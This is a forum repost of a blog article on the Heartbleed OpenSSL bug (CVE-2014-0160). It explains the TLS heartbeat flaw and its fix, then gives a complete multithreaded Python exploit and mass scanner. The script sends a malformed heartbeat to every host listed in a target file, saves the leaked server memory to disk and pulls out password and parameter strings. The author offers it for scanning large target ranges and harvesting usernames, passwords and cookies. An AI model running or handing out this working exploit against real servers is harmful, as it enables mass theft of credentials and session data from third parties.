• CVE-2014-0160 Heartbleed Attack POC and Mass Scanner .

    TLS Heart Bleed Attack.

    This is one of the most scary bugs I have seen in the last few years. A lot of discussion is going on and there are quite a number of blogs regarding this. But I couldn't find anything that explicitly talks about the vulnerability and exploitation methods. Also many organizations have multiple https servers using openssl. So I have created this mas auditing tool that could scan them all in one click.

    https://bitbucket.org/fb1h2s/cve-2014-0160

    Scan:




    TLS HearBeat Extension.

    The vulnerability lies in the implementation of TLS Heartbeat extension. There is common necessity
    in an established ssl session to maintain the connection for a longer time. The HeartBeat protocol extension is added to TLS for this reason. The HTTP keep-alive feature does the same but HB protocol allows a client to perform this action in much higher rate.

    The client can send a Heart-Beat request message and the server has to respond back with a HearBeat response .
    https://tools.ietf.org/html/rfc6520#page-2

    So in short the Heartbeat Protocol is simple and has a request and response module.

    heartbeat_request(1),
    heartbeat_response(2),

    The following is the structure of a HB protocol.

    The following is heartbeat protocol .

    Code:
     struct {
          HeartbeatMessageType type;
          uint16 payload_length;
          opaque payload[HeartbeatMessage.payload_length];
          opaque padding[padding_length];
       } HeartbeatMessage;
    Here the Message Type is 1 byte, payload_length is 2 byte and necessary padding based on payload .

    So the entire heartbeat protocol is an addon for openssl . This following is the structure for a TLS packet with HB addon.

    Code:
    const unsigned char good_data_2[] = {
        // TLS record
        0x16, // Content Type: Handshake
        0x03, 0x01, // Version: TLS 1.0
        0x00, 0x6c, // Length (use for bounds checking)
            // Handshake
            0x01, // Handshake Type: Client Hello
            0x00, 0x00, 0x68, // Length (use for bounds checking)
            0x03, 0x03, // Version: TLS 1.2
            // Random (32 bytes fixed length)
            0xb6, 0xb2, 0x6a, 0xfb, 0x55, 0x5e, 0x03, 0xd5,
            0x65, 0xa3, 0x6a, 0xf0, 0x5e, 0xa5, 0x43, 0x02,
            0x93, 0xb9, 0x59, 0xa7, 0x54, 0xc3, 0xdd, 0x78,
            0x57, 0x58, 0x34, 0xc5, 0x82, 0xfd, 0x53, 0xd1,
            0x00, // Session ID Length (skip past this much)
            0x00, 0x04, // Cipher Suites Length (skip past this much)
                0x00, 0x01, // NULL-MD5
                0x00, 0xff, // RENEGOTIATION INFO SCSV
            0x01, // Compression Methods Length (skip past this much)
                0x00, // NULL
            0x00, 0x3b, // Extensions Length (use for bounds checking)
                // Extension
                0x00, 0x00, // Extension Type: Server Name (check extension type)
                0x00, 0x0e, // Length (use for bounds checking)
                0x00, 0x0c, // Server Name Indication Length
                    0x00, // Server Name Type: host_name (check server name type)
                    0x00, 0x09, // Length (length of your data)
                    // "localhost" (data your after)
                    0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x68, 0x6f, 0x73, 0x74,
                // Extension
                0x00, 0x0d, // Extension Type: Signature Algorithms (check extension type)
                0x00, 0x20, // Length (skip past since this is the wrong extension)
                // Data
                0x00, 0x1e, 0x06, 0x01, 0x06, 0x02, 0x06, 0x03,
                0x05, 0x01, 0x05, 0x02, 0x05, 0x03, 0x04, 0x01,
                0x04, 0x02, 0x04, 0x03, 0x03, 0x01, 0x03, 0x02,
                0x03, 0x03, 0x02, 0x01, 0x02, 0x02, 0x02, 0x03,
                // Extension
                0x00, 0x0f, // Extension Type: Heart Beat (check extension type)
                0x00, 0x01, // Length (skip past since this is the wrong extension)
                0x01 // Mode: Peer allows to send requests
    };

    The bugg code was an insecure malloc https://github.com/openssl/openssl/c...108e9a3#diff-2

    Code:
    buffer = OPENSSL_malloc(1 + 2 + payload + padding);
    In the above code memory is allocated from the payload + padding which is a user controlled value. There was no length check for this particular allocation and an attacker could force the Openssl server to read arbitrary memory locations.



    The total length of a HeartbeatMessage does NOT exceed 2^14 or max_fragment_length when negotiated as defined in [RFC6066]. Here we are only able to leak 64 kb of memory and that could easily have usernames/password etc. Even though openssllib has loaded the server secret keys somewhere in memory it very unlikely to access that using this bug due the the heap allocations.

    Constant HB request could be made to the server leaking (random memory) any amount of data from the server .

    The fix to this bug was to simply bound check the payload + padding length to not exceed 16 bytes .

    Code:
    unsigned int write_length = 1 /* heartbeat type */ +
     +                        2 /* heartbeat length */ +
     +                        payload + padding;

    As well as to not allow the HB length to exceed the max length.
    Code:
    unsigned int write_length = 1 /* heartbeat type */ +
     +                        2 /* heartbeat length */ +
     +                        payload + padding;
      
     +        if (write_length > SSL3_RT_MAX_PLAIN_LENGTH)
     +            return 0;

    Exploitation:

    I have created a Mass Auditing tool. So that you can give in a huge range of targets as a list and the tool would find important informations for you. Give it a list of targets and it would detect the vulnerability and list out if any username password is found.


    Code:
    import socket, ssl, pprint
    import Queue
    import threading,time,sys,select,struct,urllib,time,re,os
    
    
    '''
    
        16 03 02 00 31 # TLS Header
        01 00 00 2d # Handshake header
        03 02 # ClientHello field: version number (TLS 1.1)
        50 0b af bb b7 5a b8 3e f0 ab 9a e3 f3 9c 63 15 \
        33 41 37 ac fd 6c 18 1a 24 60 dc 49 67 c2 fd 96 # ClientHello field: random
        00 # ClientHello field: session id
        00 04 # ClientHello field: cipher suite length
        00 33 c0 11 # ClientHello field: cipher suite(s)
        01 # ClientHello field: compression support, length
        00 # ClientHello field: compression support, no compression (0)
        00 00 # ClientHello field: extension length (0)
    
    '''
    
    
    
    hello_packet = "16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex')
    hb_packet = "1803020003014000".decode('hex')
    
    def password_parse(the_response):
        the_response_nl= the_response.split(' ')
        #Interesting Paramaters found:
        for each_item in the_response_nl:
            if "=" in each_item or "password" in each_item:
                print each_item
    
    
    def recv_timeout(the_socket,timeout=2):
        #make socket non blocking
        the_socket.setblocking(0)
    
        #total data partwise in an array
        total_data=[];
        data='';
    
        #beginning time
        begin=time.time()
        while 1:
            if total_data and time.time()-begin > timeout:
                break
    
            elif time.time()-begin > timeout*2:
                break
    
            try:
                data = the_socket.recv(8192)
                if data:
                    total_data.append(data)
                    #change the beginning time for measurement
                    begin=time.time()
                else:
                    #sleep for sometime to indicate a gap
                    time.sleep(0.1)
            except:
                pass
    
        return ''.join(total_data)
    
    
    def tls(target_addr):
    
        try:
    
            server_port =443
            target_addr = target_addr.strip()
    
            if ":" in target_addr:
                server_port = target_addr.split(":")[1]
                target_addr = target_addr.split(":")[0]
    
            client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sys.stdout.flush()
            print >>sys.stderr, '\n[+]Scanning  server %s' % target_addr , "\n"
            print "##############################################################"
            sys.stdout.flush()
            client_socket .connect((target_addr, int(server_port)))
            #'Sending Hello request...'
            client_socket.send(hello_packet)
            recv_timeout(client_socket,3)
            print 'Sending heartbeat request...'
            client_socket.send(hb_packet)
            data = recv_timeout(client_socket,3)
            if len(data) > 7 :
                print "[-] ",target_addr,' Vulnerable Server ...\n'
                #print data
                if os.path.exists(target_addr+".txt"):
                    file_write = open(target_addr+".txt", 'a+')
                else:
                    file_write = file(target_addr+".txt", "w")
                file_write.write(data)
            else :
                print "[-] ",target_addr,' Not Vulnerable  ...'
        except Exception as e:
            print e,target_addr,server_port
    
    
    
    class BinaryGrab(threading.Thread):
        """Threaded Url Grab"""
        def __init__(self, queue):
            threading.Thread.__init__(self)
            self.queue = queue
    
        def run(self):
            while True:
                url = self.queue.get()
                tls(url)
                #Scan targets here
    
                #signals to queue job is done
                self.queue.task_done()
    
    
    
    start = time.time()
    
    def manyurls(server_addr):
        querange = len(server_addr)
        queue = Queue.Queue()
    
        #spawn a pool of threads, and pass them queue instance
        for i in range(int(querange)):
            t = BinaryGrab(queue)
            t.setDaemon(True)
            t.start()
    
        #populate queue with data
        for target in server_addr:
    
            queue.put(target)
    
        #wait on the queue until everything has been processed
        queue.join()
    if __name__ == "__main__":
        # Kepp all ur targets in scan.txt in the same folder.
        server_addr = []
        read_f = open("scan.txt", "r")
        server_addr = read_f.readlines()
        #or provide names here
        #server_addr = ['yahoo.com']
        manyurls(server_addr)



    Leaked UserName password Cookie files would be stored in the local folder with target name.




    Regards.


    Reference:

    http://blog.bjrn.se/2012/07/fun-with-tls-handshake.html
    https://github.com/openssl/openssl/c...108e9a3#diff-2
    https://bitbucket.org/fb1h2s/cve-201...r.py?at=master
    This article was originally published in blog: CVE-2014-0160 Heartbleed Attack POC and Mass Scanner . started by fb1h2s
    Comments 1 Comment
    1. malindo's Avatar
      malindo -
      hmmm thats right.. thanks for shared
  • G4H Facebook

  • G4H Twitter